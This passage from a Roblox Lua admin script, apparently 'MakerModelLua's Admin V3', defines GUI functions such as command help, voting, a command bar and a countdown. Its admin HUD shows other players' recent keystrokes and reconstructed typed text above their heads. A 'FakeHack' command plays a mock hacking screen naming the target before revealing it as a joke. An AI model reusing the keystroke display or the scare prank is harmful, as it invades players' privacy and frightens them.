4566 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4567
4568 return Text
4569end
4570
4571function GUI:ShowCommand(Player, CommandTrigger, Dialog)
4572 if not Player then return nil end
4573 if not CommandTrigger then return nil end
4574
4575 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4576
4577 local CommandKey = CommandTrigger
4578
4579 if not Commands[CommandKey] then
4580 for CommandNames,_ in pairs(Commands) do
4581 for _,CommandName in pairs(CommandNames) do
4582 if CommandName == CommandKey then
4583 CommandKey = CommandNames
4584 end
4585 end
4586 end
4587 end
4588
4589 local CommandData = Commands[CommandKey]
4590
4591 local BodyText = "No valid command has been entered"
4592 local TitleText = "Error"
4593 local CanExe = false
4594 if CommandData then
4595 if Dialog then
4596 Dialog:Invoke(true)
4597 end
4598 local PlayerRank = RANK:GetRank(Player)
4599 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4600 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4601
4602 TitleText = "Command: "..CommandKey[1]
4603 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4604
4605
4606Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4607
4608
4609Description: ]]..CommandData[2]..[[
4610
4611
4612Arguments: ]]..CommandData[3]..[[
4613
4614
4615Minimum rank needed: ]]..CommandData[4]..[[
4616
4617
4618Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4619
4620
4621Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4622
4623
4624Http Command ]]..STRING:BoolString(CommandData.Http)
4625 end
4626
4627 _, _, Closed, _, Minimized = GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4628 if Dialog then
4629 Closed.Event:connect(function() Dialog:Invoke(false) end)
4630 Minimized.Event:connect(function() Dialog:Invoke(false) end)
4631 end
4632end
4633
4634function GUI:CreateHUD(Speaker)
4635 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4636
4637 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4638 if SG then SG:Destroy() end
4639 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4640
4641 local function AddHUD(Player, Char)
4642 if not Char or not Char:FindFirstChild("Head") then return nil end
4643
4644 local Rank = RANK:GetRank(Player)
4645 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4646 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4647 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4648 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4649 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4650 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4651 InfoLabel.Text = "Name: "..Player.Name..[[
4652Rank: ]]..RANK:GetRank(Player)..[[
4653Age: ]]..STRING:FindAge(Player.AccountAge)
4654 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4655 InfoLabel.Text = InfoLabel.Text..[[
4656Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4657 end
4658 if LastKeys[Player.UserId] then
4659 local Keys = ""
4660 local KeyLog = {}
4661 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4662 table.insert(KeyLog, KeyData[1])
4663 if KeyData[2] == 8 then
4664 Keys = string.sub(Keys, 1, #Keys - 1)
4665 elseif KeyData[2] == 13 then
4666 Keys = Keys.." "
4667 else
4668 Keys = Keys..string.char(KeyData[2])
4669 end
4670 end
4671 KeyLabel.Text = table.concat(KeyLog, "\n")
4672 KeyOutput.Text = Keys
4673 end
4674 HUD.Image = "rbxassetid://"..RankHUD[Rank]
4675 end end)()
4676
4677 local CharRev,Removing = nil,nil
4678 CharRev = Player.CharacterRemoving:connect(function()
4679 PlayerHUD:Destroy()
4680 CharRev:disconnect()
4681 Removing:disconnect()
4682 end)
4683 Removing = Server.Players.PlayerRemoving:connect(function(PlayerR) if PlayerR == Player then
4684 PlayerHUD:Destroy()
4685 CharRev:disconnect()
4686 Removing:disconnect()
4687 end end)
4688 end
4689
4690 local function ConnectHUD(Player)
4691 if Player ~= Speaker then
4692 if Player.Character then
4693 AddHUD(Player, Player.Character)
4694 end
4695
4696 Player.CharacterAdded:connect(function(Char)
4697 if Speaker then
4698 AddHUD(Player, Char)
4699 else return nil
4700 end
4701 end)
4702 end
4703 end
4704
4705 for _,Player in pairs(Server.Players:GetPlayers()) do
4706 ConnectHUD(Player)
4707 end
4708
4709 Server.Players.PlayerAdded:connect(ConnectHUD)
4710end
4711
4712function GUI:CreateMessagePrompt(Player, Title, ImageID, PreAdd, SpeakerEvents)
4713 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4714 local Stopped = false
4715
4716 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.3,0,0.5,0), nil, ImageID)
4717 Frame.Size = UDim2.new(1, 0, 1, -30)
4718 Frame.CanvasSize = UDim2.new(0, 0 ,0 ,0)
4719
4720 local FakeCB = Instance.new("TextButton", Frame.Parent) FakeCB.Name = "FakeChatBox" FakeCB.Position = UDim2.new(0, 0, 1, -30) FakeCB.Size = UDim2.new(1, -50, 0, 30) FakeCB.BackgroundTransparency = 1 FakeCB.Text = "Click here or press the '-' key" FakeCB.Font = Settings.Font FakeCB.FontSize = "Size18" FakeCB.TextXAlignment = "Left" FakeCB.ZIndex = 2
4721 local ChatBox = Instance.new("TextBox", Frame.Parent) ChatBox.Name = "ChatBox" ChatBox.Position = UDim2.new(0, 0, 1, -30) ChatBox.Size = UDim2.new(1, -50, 0, 30) ChatBox.BackgroundTransparency = 0.5 ChatBox.BackgroundColor3 = GUI:GetColor() ChatBox.Text = "" ChatBox.Font = Settings.Font ChatBox.FontSize = "Size18" ChatBox.TextXAlignment = "Left" ChatBox.ClearTextOnFocus = false
4722 local Send = Instance.new("TextButton", Frame.Parent) Send.Position = UDim2.new(1, -50, 1, -30) Send.Size = UDim2.new(0, 50, 0, 30) Send.BackgroundColor3 = GUI:GetColor() Send.BackgroundTransparency = 0.5 Send.Text = "Enter" Send.Font = Settings.Font Send.FontSize = "Size14"
4723
4724 local function AddLine(Speaker, MessageText, MessageColor)
4725 MessageText = STRING:DetermineFilter(MessageText, Speaker, Player)
4726 if MessageColor == true then MessageColor = Color3.new(1,0,0) end
4727 if not MessageColor then MessageColor = GUI:ContrastColor() end
4728 local Bounds = Instance.new("Frame") Bounds.Name = "Bounds" Bounds.Position = UDim2.new(0, 0, 1, -20) Bounds.Size = UDim2.new(1, 0, 0, 20) Bounds.BackgroundTransparency = 1
4729 local Name = Instance.new("TextLabel", Bounds) Name.Name = "PName" Name.Size = UDim2.new(0, 60, 1, 0) Name.BackgroundTransparency = 1 Name.Text = Speaker..": " Name.Font = "ArialBold" Name.FontSize = "Size14" Name.TextXAlignment = "Left" Name.TextColor3 = GUI:GetNameColor(Speaker).Color
4730 local Message = Instance.new("TextLabel", Bounds) Message.Name = "Message" Message.Position = UDim2.new(0, 60, 0, 0) Message.Size = UDim2.new(0, 60, 1, 0) Message.BackgroundTransparency = 1 Message.Text = MessageText Message.Font = "ArialBold" Message.FontSize = "Size14" Message.TextXAlignment = "Left" Message.TextColor3 = MessageColor
4731 Bounds.Parent = Frame
4732 end
4733
4734 local RPR = CORE:CreateRemotePropertyReader(ChatBox)
4735
4736 local Functions = Instance.new("Folder", Frame) Functions.Name = "Functions"
4737 local SendPressed = Instance.new("BindableEvent", Functions) SendPressed.Name = "SendPressed"
4738 local AddMessage = Instance.new("BindableFunction", Functions) AddMessage.Name = "AddMessage"
4739
4740 local EnterPressed = Instance.new("RemoteFunction", ChatBox) EnterPressed.Name = "EnterPressed"
4741 local ClearCB = Instance.new("RemoteFunction", ChatBox) ClearCB.Name = "ClearCB"
4742
4743 CORE:ExecuteResource("MessagePromptHandler", Frame)
4744
4745 wait(0.1)
4746
4747 if PreAdd then
4748 for Num,Add in pairs(PreAdd) do
4749 AddLine(Add[1], Add[2], Add[3])
4750 end
4751 end
4752
4753 --[[
4754 CORE:ExecuteResource("ChatBoxLocal", ChatBox)
4755
4756 CORE:HandleEvent(ChatBox, "MouseEnter", function()
4757 if ChatBox.Text == "Click here or press the '-' key" then
4758 ChatBox.Text = ""
4759 end
4760 end)
4761 ]]
4762
4763 local function FireSendPressed()
4764 local Text = CORE:ReadProperty(RPR, Player, "Text")
4765 if Text ~= "" and Text ~= "Click here or press the '-' key" then
4766 SendPressed:Fire(Text)
4767 FakeCB.Visible = true
4768 ClearCB:InvokeClient(Player)
4769 end
4770 end
4771
4772 Closed.Event:connect(function()
4773 if Stopped == false then
4774 Stopped = true
4775 if SpeakerEvents then SpeakerEvents("Leave") end
4776 end
4777 end)
4778
4779 CORE:HandleEvent(Send, "MouseButton1Down", FireSendPressed)
4780 EnterPressed.OnServerInvoke = FireSendPressed
4781 AddMessage.OnInvoke = AddLine
4782
4783 if SpeakerEvents then
4784 SpeakerEvents("Join")
4785
4786 coroutine.wrap(function()
4787 repeat wait() until not Frame or not Frame.Parent
4788 if Stopped == false then
4789 Stopped = true
4790 SpeakerEvents("Leave")
4791 end
4792 end)()
4793 end
4794
4795 return SendPressed, AddMessage
4796end
4797
4798function GUI:PromptMessageWithButtons(Player, Title, BodyText, IconID, Buttons, Time, ShowFormButtons, DontFilter)
4799 if tonumber(Time) then ShowFormButtons = false end
4800 if not DontFilter then BodyText = STRING:DetermineFilter(BodyText, Player) end
4801 local Frame, Close = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.4,0), nil, IconID, ShowFormButtons)
4802 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, -60) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextWrapped = true Body.TextColor3 = GUI:ContrastColor()
4803 local Clicked = nil
4804 local Alive = true
4805
4806 local function ClosePrompt(ButtonName)
4807 Alive = false
4808 Close:Invoke()
4809 Clicked = ButtonName
4810 end
4811
4812 for Num,Select in pairs(Buttons) do
4813 local Name = Select
4814 local Style = "White"
4815 local TextColor3 = Color3.new(0,0,0)
4816 if type(Select) == "table" then
4817 Name = Select[1]
4818 if Select[2] then Style = Select[2] end
4819 if Select[3] then TextColor3 = Select[3] end
4820 elseif type(Select) == "string" then
4821 local Case = string.lower(Select)
4822 if Case == "ok" then
4823 Name = "Ok"
4824 Style = "Primary"
4825 TextColor3 = Color3.new(1,1,1)
4826 elseif Case == "yes" then
4827 Name = "Yes"
4828 Style = "Gray"
4829 TextColor3 = Color3.new(0,1,0)
4830 elseif Case == "no" then
4831 Name = "No"
4832 Style = "Red"
4833 TextColor3 = Color3.new(1,0,0)
4834 end
4835 end
4836
4837 if Style == "None" then Style = "Custom" end
4838 if Style == "Casual" then Style = "RobloxButton" end
4839 if Style == "Red" then Style = "RobloxButtonDefault" end
4840 if Style == "Gray" then Style = "RobloxRoundButton" end
4841 if Style == "Primary" then Style = "RobloxRoundDefaultButton" end
4842 if Style == "White" then Style = "RobloxRoundDropdownButton" end
4843
4844 local Button = Instance.new("TextButton", Frame) Button.Name = Name Button.Position = UDim2.new((Num/#Buttons)-(1/#Buttons), 0, 1, -55) Button.Size = UDim2.new(1/#Buttons, 0, 0, 50) Button.BackgroundColor3 = Color3.new(1, 1, 1) Button.Text = Name Button.Font = Settings.Font Button.FontSize = "Size14" Button.TextScaled = true Button.TextWrapped = true Button.TextColor3 = TextColor3 Button.Style = Style
4845 CORE:HandleEvent(Button, "MouseButton1Down", function() ClosePrompt(Name) end)
4846 SOUND:BindButton(Button)
4847 end
4848
4849 if tonumber(Time) then
4850 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4851 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4852 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4853
4854 for i = Time,0,-1 do
4855 for ii = 1,10 do
4856 if Alive == true then
4857 Ticker.Text = i
4858 wait(0.1)
4859 else
4860 break
4861 end
4862 end
4863 end
4864 if Alive == true then
4865 ClosePrompt()
4866 end
4867 end
4868
4869 repeat wait() until Alive == false
4870 return Clicked
4871end
4872
4873function GUI:Vote(Speaker, Players, Text, Time)
4874 if not Players or not Text or #Players <= 0 then return end
4875
4876 local Votes = {}
4877 local Tick = 0
4878
4879 for _,Player in pairs(Players) do
4880 local FilterText = STRING:DetermineFilter(Text, Speaker, Player)
4881 local CanVote = true
4882 if not game.Players:FindFirstChild(tostring(Player)) or not Player.PlayerGui then CanVote = false end
4883 if CanVote == true then
4884 coroutine.wrap(function()
4885 local Answer = GUI:PromptMessageWithButtons(Player, "Vote", FilterText, 34730262, {"Yes", "No"}, Time, false, true)
4886 if Answer == nil then Answer = "Unknown" end
4887 table.insert(Votes, Answer)
4888 end)()
4889 end
4890 end
4891 repeat wait(1) Tick = Tick + 1 until #Votes >= #Players or Tick >= Time
4892 wait(2)
4893 if Speaker and Speaker:FindFirstChild("PlayerGui") then
4894 local Total = #Players
4895 local Yes,No,Unknown = 0,0,0
4896 for _,Vote in pairs(Votes) do
4897 if Vote == "Yes" then Yes = Yes + 1
4898 elseif Vote == "No" then No = No + 1
4899 end
4900 end
4901 Unknown = #Players - #Votes
4902
4903 local Frame = GUI:CreateForm(Speaker, "Vote Results", UDim2.new(0.35, 0, 0.35, 0), nil, 42330863)
4904 local QText = Instance.new("TextLabel", Frame) QText.Name = "QText" QText.Size = UDim2.new(1, 0, 1, -55) QText.BackgroundColor3 = Color3.new(1, 1, 1) QText.BackgroundTransparency = 1 QText.Text = "Results for: "..STRING:DetermineFilter(Text, Speaker) QText.Font = Settings.Font QText.FontSize = "Size18" QText.TextWrapped = true QText.TextYAlignment = "Top" QText.TextColor3 = GUI:ContrastColor()
4905 local RTextYes = Instance.new("TextLabel", Frame) RTextYes.Name = "RTextYes" RTextYes.Position = UDim2.new(0, 0, 1, -55) RTextYes.Size = UDim2.new(1, 0, 0, 55) RTextYes.BackgroundColor3 = Color3.new(1, 1, 1) RTextYes.BackgroundTransparency = 1 RTextYes.Font = Settings.Font RTextYes.FontSize = "Size18" RTextYes.TextXAlignment = "Left" RTextYes.TextYAlignment = "Bottom" RTextYes.TextColor3 = Color3.new(0, 1, 0) RTextYes.Text = [[Yes:
4906]]..Yes.."/"..Total..[[
4907]]..math.ceil((Yes/Total)*100).."% "
4908 local RTextNo = Instance.new("TextLabel", Frame) RTextNo.Name = "RTextNo" RTextNo.Position = UDim2.new(0, 0, 1, -55) RTextNo.Size = UDim2.new(1, 0, 0, 55) RTextNo.BackgroundColor3 = Color3.new(1, 1, 1) RTextNo.BackgroundTransparency = 1 RTextNo.Font = Settings.Font RTextNo.FontSize = "Size18" RTextNo.TextXAlignment = "Right" RTextNo.TextYAlignment = "Bottom" RTextNo.TextColor3 = Color3.new(1, 0, 0) RTextNo.Text = [[No:
4909]]..No.."/"..Total..[[
4910]]..math.ceil((No/Total)*100).."% "
4911 local RTextUnknown = Instance.new("TextLabel", Frame) RTextUnknown.Name = "RTextUnknown" RTextUnknown.Position = UDim2.new(0, 0, 1, -55) RTextUnknown.Size = UDim2.new(1, 0, 0, 55) RTextUnknown.BackgroundColor3 = Color3.new(1, 1, 1) RTextUnknown.BackgroundTransparency = 1 RTextUnknown.Font = Settings.Font RTextUnknown.FontSize = "Size18" RTextUnknown.TextYAlignment = "Bottom" RTextUnknown.TextColor3 = Color3.new(0, 0, 0) RTextUnknown.Text = [[No vote:
4912]]..Unknown.."/"..Total..[[
4913]]..math.ceil((Unknown/Total)*100).."% "
4914 end
4915end
4916
4917--GUI:Vote(game.Players.Player1, {game.Players.Player1}, "fuck me", 30)
4918
4919function GUI:LoadGui(Player, Text, InfoText)
4920 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
4921 local Dead = false
4922
4923 local Frame, Close = GUI:CreateForm(Player, Text, UDim2.new(0.2,100,0.1,100), nil, 206886319, false)
4924 local WaitIcon = Instance.new("ImageLabel", Frame) WaitIcon.Name = "WaitIcon" WaitIcon.Position = UDim2.new(0, 10, 0.5, -35) WaitIcon.Size = UDim2.new(0, 70, 0, 70) WaitIcon.BackgroundColor3 = Color3.new(1, 1, 1) WaitIcon.BackgroundTransparency = 1 WaitIcon.Image = "http://roblox.com/asset/?id=206886319"
4925 local LoadLabel = Instance.new("TextLabel", Frame) LoadLabel.Position = UDim2.new(0, 85, 0, 0) LoadLabel.Size = UDim2.new(1, -90, 1, 0) LoadLabel.TextColor3 = GUI:ContrastColor() LoadLabel.BackgroundTransparency = 1 LoadLabel.Text = Text LoadLabel.Font = "ArialBold" LoadLabel.FontSize = "Size24" LoadLabel.TextWrapped = true LoadLabel.TextXAlignment = "Left"
4926 local Info = Instance.new("TextLabel", Frame) Info.Size = UDim2.new(1, 0, 1, 0) Info.TextColor3 = GUI:ContrastColor() Info.BackgroundTransparency = 1 Info.Text = "" Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextWrapped = true Info.TextXAlignment = "Left" Info.TextYAlignment = "Bottom"
4927 if InfoText then Info.Text = InfoText end
4928
4929 local CloseGui = Instance.new("BindableFunction", Frame) CloseGui.Name = "CloseGui"
4930 local AddInfo = Instance.new("BindableFunction", Frame) CloseGui.Name = "AddInfo"
4931
4932 CloseGui.OnInvoke = function()
4933 Close:Invoke()
4934 Dead = true
4935 end
4936 AddInfo.OnInvoke = function(AddText)
4937 Info.Text = AddText
4938 end
4939
4940 coroutine.wrap(function()
4941 for i = 0,math.huge,3 do
4942 if Dead == false and Frame then
4943 WaitIcon.Rotation = i
4944 wait()
4945 else
4946 break
4947 end
4948 end
4949 end)()
4950
4951 coroutine.wrap(function()
4952 while Dead == false and Frame do
4953 wait(0.5)
4954 LoadLabel.Text = Text.."."
4955 wait(0.5)
4956 LoadLabel.Text = Text..".."
4957 wait(0.5)
4958 LoadLabel.Text = Text.."..."
4959 wait(0.5)
4960 LoadLabel.Text = Text..".."
4961 wait(0.5)
4962 LoadLabel.Text = Text.."."
4963 wait(0.5)
4964 LoadLabel.Text = Text
4965 end
4966 end)()
4967
4968 wait(1)
4969
4970 return CloseGui, AddInfo
4971end
4972
4973function GUI:FakeHack(Player) coroutine.wrap(function()
4974 if not Player or not Player:FindFirstChild("PlayerGui") then return end
4975 local FakeText = [[
4976>SHELL: BEGIN
4977>RUNCODE:
4978return {
4979 local Hack = {"Account", "Tix", "Robux"};
4980 function Start(Type, Inject, Scan)
4981 if not Inject then Inject = "In-Game" end
4982 return {Type, Inject, Scan}
4983 end
4984 for Exe,Exploit in pairs(Hack) do
4985 local IP = Start("In-Game",Exploit,
4986 BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
4987 {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
4988 )
4989 Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
4990 for i = 1,#Injection[2] do
4991 Log("PlayerData", "ConnectHost", "PLAYERNAME")
4992 end
4993 local PlayerProxy = newproxy(true)
4994 setmetatable(PlayerProxy,Injection[3],{
4995 __index = function(StealData, ...) local Data = unpack(...)
4996 return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
4997 end;
4998 })
4999 end
5000 Log("HACKED HOST: PLAYERNAME")
5001}
5002>HACKED HOST: PLAYERNAME
5003
5004]]
5005 local SG = Player.PlayerGui:FindFirstChild("MML Hack Gui")
5006 if SG then SG:Destroy() end
5007 SG = Instance.new("ScreenGui", Player.PlayerGui)
5008 SG.Name = "MML Hack Gui"
5009 local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
5010 local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 CORE:HandleEvent(X, "MouseButton1Click", function() SG:Destroy() end)
5011 local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true HT.Font = "Code"
5012 for i = 1,#FakeText do
5013 HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
5014 if math.random(1,5) == 1 then
5015 wait()
5016 end
5017 end
5018 HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
5019 wait(3)
5020 HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
5021fake hack command from Maker]]..[[ModelLu]]..[[a's Admin V3]]
5022 X.Visible = true
5023end)() end
5024
5025function GUI:CommandBar(Player)
5026 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5027
5028 local Frame = GUI:CreateForm(Player, "Command Bar", UDim2.new(0.5, 100, 0.1, 50), UDim2.new(0.25, -50, 0.1, 0), "Admin", nil, nil, nil, nil, nil, nil, true)
5029 local CommandBox = Instance.new("TextBox", Frame) CommandBox.Name = "CommandBox" CommandBox.Position = UDim2.new(0.3, 5, 0, 5) CommandBox.Size = UDim2.new(0.7, -20, 0.4, 0) CommandBox.BackgroundColor3 = GUI:GetColor() CommandBox.BackgroundTransparency = Settings.TransparencyScheme CommandBox.Text = "Enter a command here" CommandBox.Font = Settings.Font CommandBox.FontSize = "Size18" CommandBox.TextXAlignment = "Left" CommandBox.TextColor3 = GUI:ContrastColor() CommandBox.ClearTextOnFocus = false
5030 local Execute = Instance.new("TextButton", Frame) Execute.Name = "Execute" Execute.Position = UDim2.new(0.3, 5, 0.7, -10) Execute.Size = UDim2.new(0.7, -20, 0.4, -10) Execute.BackgroundColor3 = GUI:GetColor() Execute.BackgroundTransparency = Settings.TransparencyScheme Execute.Text = "Execute" Execute.Font = "ArialBold" Execute.FontSize = "Size18" Execute.TextColor3 = GUI:ContrastColor()
5031 local Suggest = Instance.new("ScrollingFrame", Frame) Suggest.Name = "Suggest" Suggest.BackgroundTransparency = Settings.TransparencyScheme Suggest.CanvasSize = UDim2.new(0,0,0,0) Suggest.BackgroundColor3 = GUI:ContrastColor() Suggest.Size = UDim2.new(0.3,0,1,0)
5032
5033 local _,Rank = RANK:GetRank(Player)
5034 local UsableCommands = {}
5035 for CommandNames,Data in pairs(Commands) do
5036 if not Data.Hidden then
5037 if RANK:ConvertRank(Data[4]) <= Rank then
5038 for _,Command in pairs(CommandNames) do
5039 table.insert(UsableCommands, {Command, Data[3]})
5040 end
5041 end
5042 end
5043 end
5044
5045 local RPR = CORE:CreateRemotePropertyReader(CommandBox)
5046
5047 local function ExecuteText()
5048 local Text = CORE:ReadProperty(RPR, Player, "Text")
5049 CORE:Chatted(Text, Player, true)
5050 CommandBox.Text = "Enter a command here"
5051 end
5052
5053 local function AddSuggestion(Text)
5054 if Text == nil then Text = Settings.Prefix end
5055 local Suggestion = Instance.new("TextButton", Suggest) Suggestion.Name = "Suggestion" Suggestion.Size = UDim2.new(1, -13, 0, 25) Suggestion.Position = UDim2.new(0,0,0,(#Suggest:GetChildren()-1)*25) Suggestion.BackgroundColor3 = Color3.new(1, 1, 1) Suggestion.BackgroundTransparency = Settings.TransparencyScheme Suggestion.Text = Text Suggestion.Font = Settings.Font Suggestion.FontSize = "Size14" Suggestion.TextXAlignment = "Left" Suggestion.TextColor3 = Color3.new(0, 0, 0)
5056 Suggest.CanvasSize = Suggest.CanvasSize + UDim2.new(0,0,0,25)
5057 CORE:HandleEvent(Suggestion, "MouseButton1Down", function()
5058 if Text == Settings.Prefix then
5059 CommandBox.Text = Settings.Prefix
5060 else
5061 CommandBox.Text = Settings.Prefix..Text
5062 end
5063 CORE:ExecuteResource("Focus", CommandBox)
5064 end, true)
5065 end
5066
5067 CORE:HandleEvent(CommandBox, "MouseEnter", function()
5068 if CommandBox.Text == "Enter a command here" then
5069 CommandBox.Text = ""
5070 end
5071 end)
5072
5073 local EnterPressed = Instance.new("RemoteFunction", CommandBox) EnterPressed.Name = "EnterPressed"
5074 CORE:ExecuteResource("ChatBoxLocal", CommandBox)
5075
5076 CORE:HandleEvent(Execute, "MouseButton1Down", ExecuteText)
5077 EnterPressed.OnServerInvoke = ExecuteText
5078
5079 CORE:HandleEvent(CommandBox, "Changed", function(Prop) if Prop == "Text" then
5080 Suggest.CanvasSize = UDim2.new(0,0,0,0)
5081 Suggest:ClearAllChildren()
5082 local Text = CORE:ReadProperty(RPR, Player, "Text")
5083 if Text == "" then
5084 AddSuggestion(Settings.Prefix)
5085 end
5086
5087 if string.sub(string.lower(Text),1,#Settings.Prefix) == string.lower(Settings.Prefix) then
5088 Text = string.sub(Text,#Settings.Prefix+1)
5089 end
5090 for _,Data in pairs(UsableCommands) do
5091 local Command,Args = Data[1],Data[2]
5092 if string.find(string.lower(Command),string.lower(Text)) then
5093 local NewSuggestion = Command
5094 if Args >= 1 then NewSuggestion = NewSuggestion..Settings.Bet end
5095 AddSuggestion(NewSuggestion)
5096 end
5097 end
5098
5099 end end)
5100end
5101
5102function GUI:Countdown(Player, AllSeconds) coroutine.wrap(function()
5103 if not Player or not AllSeconds then return nil end
5104 AllSeconds = tonumber(AllSeconds)
5105 local Frame, Close, Closed, _, __, Restore = GUI:CreateForm(Player, "Countdown", UDim2.new(0, 200, 0, 80), UDim2.new(0, 0, 0, 200), 154818730)
5106 AllSeconds = math.floor(AllSeconds)
5107 if AllSeconds < 1 then AllSeconds = 1 elseif AllSeconds > 300 then AllSeconds = 300 end
5108 local Time = Instance.new("TextLabel", Frame) Time.Name = "Time" Time.Size = UDim2.new(1, 0, 1, 0) Time.BackgroundTransparency = 1 Time.Text = "00:00" Time.Font = "ArialBold" Time.FontSize = "Size24" Time.TextYAlignment = "Top" Time.TextColor3 = GUI:ContrastColor()
5109 local Full = Instance.new("Frame", Frame) Full.Name = "Full" Full.Position = UDim2.new(0.1, 0, 0.7, 0) Full.Size = UDim2.new(0.8, 0, 0, 5) Full.BackgroundColor3 = GUI:ContrastColor() Full.BorderSizePixel = 0
5110 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5111 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5112 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5113
5114 local CurrentSeconds = AllSeconds
5115 local Alive = true
5116 coroutine.wrap(function() for i = 0,AllSeconds do
5117 if not Alive then break end
5118 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5119 local Minutes = tostring(math.floor(CurrentSeconds/60))
